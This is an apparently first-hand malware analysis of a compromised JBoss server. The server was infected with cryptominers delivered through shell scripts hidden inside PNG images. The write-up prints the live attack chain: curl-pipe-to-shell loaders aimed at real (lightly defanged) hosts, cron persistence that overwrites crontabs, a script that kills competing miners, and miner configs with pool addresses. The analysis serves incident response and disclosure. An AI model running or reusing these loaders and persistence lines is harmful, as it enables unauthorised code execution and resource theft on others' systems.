A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one:
sh -c curl hxxp://img1.imagehousing.com/0/beauty-287196.png -k|dd skip=2446 bs=1|sh
This is a rather elegant way of disguising malicious code. If we first take a look at the png file:
$ file beauty-287196.png
beauty-287196.png: PNG image data, 160 x 160, 8-bit colormap, non-interlaced
Then, let’s extract its contents like the process shown above does:
$ cat beauty-287196.png | dd skip=2446 bs=1 > beauty-287196.png.sh
656+0 records in
656+0 records out
656 bytes copied, 0,00166122 s, 395 kB/s
$ file beauty-287196.png.sh
beauty-287196.png.sh: ASCII text
Lo and behold, we now have a shell script file with the following contents:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh
echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/crontabs/root
(crontab -l;printf '*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh \n')|crontab -
while true
do
curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh
sleep 3600
done
As we can see, the shell script will try to replace different users’ cron schedules with the contents from a downloaded file. This is the shell script extract from the beauty-036457.png file:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
days=$(($(date +%s) / 60 / 60 / 24))
DoMiner()
{
curl -kL -o /tmp/11232.jpg hxxp://img1.imagehousing.com/0/art-061574.png
dd if=/tmp/11232.jpg skip=7664 bs=1 of=/tmp/11231
curl -kL -o /tmp/11234.jpg hxxp://img1.imagehousing.com/0/pink-086153.png
dd if=/tmp/11234.jpg skip=10974 bs=1 of=/tmp/11233
chmod +x /tmp/11231
nohup /tmp/11231 -c /tmp/11233 &
sleep 10
rm -rf /tmp/11234.jpg
rm -rf /tmp/11233
rm -rf /tmp/11232.jpg
rm -rf /tmp/11231
}
ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9
pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4
pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB
pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df
pkill -f cpuloadtest
pkill -f crypto-pool
pkill -f xmr
pkill -f prohash
pkill -f monero
pkill -f miner
pkill -f nanopool
pkill -f minergate
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "11231" || DoMiner
The shell script starts by downloading even more resources, then looking for – and killing – competing BitCoin mining processes. Finally, it starts its own BitCoin miner. I’ll describe the downloaded components:
The first file it downloads (art-061574.png) is, after extraction, a binary:
$ file 11231
11231: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
The extracted file’s MD5/SHA1/SHA256 hashes are as follows:
483b322b42835227d98f523f9df5c6fc
91e71ca252d1ea759b53f821110d8f0ac11b4bff
28d5f75e289d652061c754079b23ec372da2e8feb1066a3d57381163b614c06c
Based on its checksum, the file is a BitCoin miner very well known by Virustotal.
The next file it downloads (pink-086153.png) is – after extraction – a config file. Its contents are:
{
"url" : "stratum+tcp://212.129.44.155:80",
"url" : "stratum+tcp://62.210.29.108:80",
"url" : "stratum+tcp://212.83.129.195:80",
"url" : "stratum+tcp://212.129.44.157:80",
"url" : "stratum+tcp://212.129.46.87:80",
"url" : "stratum+tcp://212.129.44.156:80",
"url" : "stratum+tcp://212.129.46.191:80",
"user" : "[ID]",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
We see that the script executes the first downloaded component (the ELF binary) with the other downloaded component as its config. Since this compromise never obtained root privileges, root’s cron jobs were never impacted.
The interesting about this compromise was not the binaries themselves, nor the fact that the JBoss server was vulnerable – but the covert transport mechanisms. We found no less than four different BitCoin miner binaries in the JBoss account’s home directory, indicating that several bots have been fighting over this server. As an additional bonus, the following entry was found in the JBoss account’s crontab:
*/1 * * * * curl 107.182.21 . 232/_x2|sh
The _x2 file contains the following shell script:
AGENT_FILE='/tmp/cpux'
if [ ! -f $AGENT_FILE ]; then
curl 107.182.21 . 232/cpux > $AGENT_FILE
fi
if [ ! -x $AGENT_FILE ]; then
chmod +x $AGENT_FILE
fi
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
nohup $AGENT_FILE -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u [ID] -p x > /dev/null 2>&1 &
fi
The cpux file is also thoroughly registered in Virustotal (at the time of writing, 29 antivirus products identify it as malicious). It has the same checksums as the 11231 file described earlier.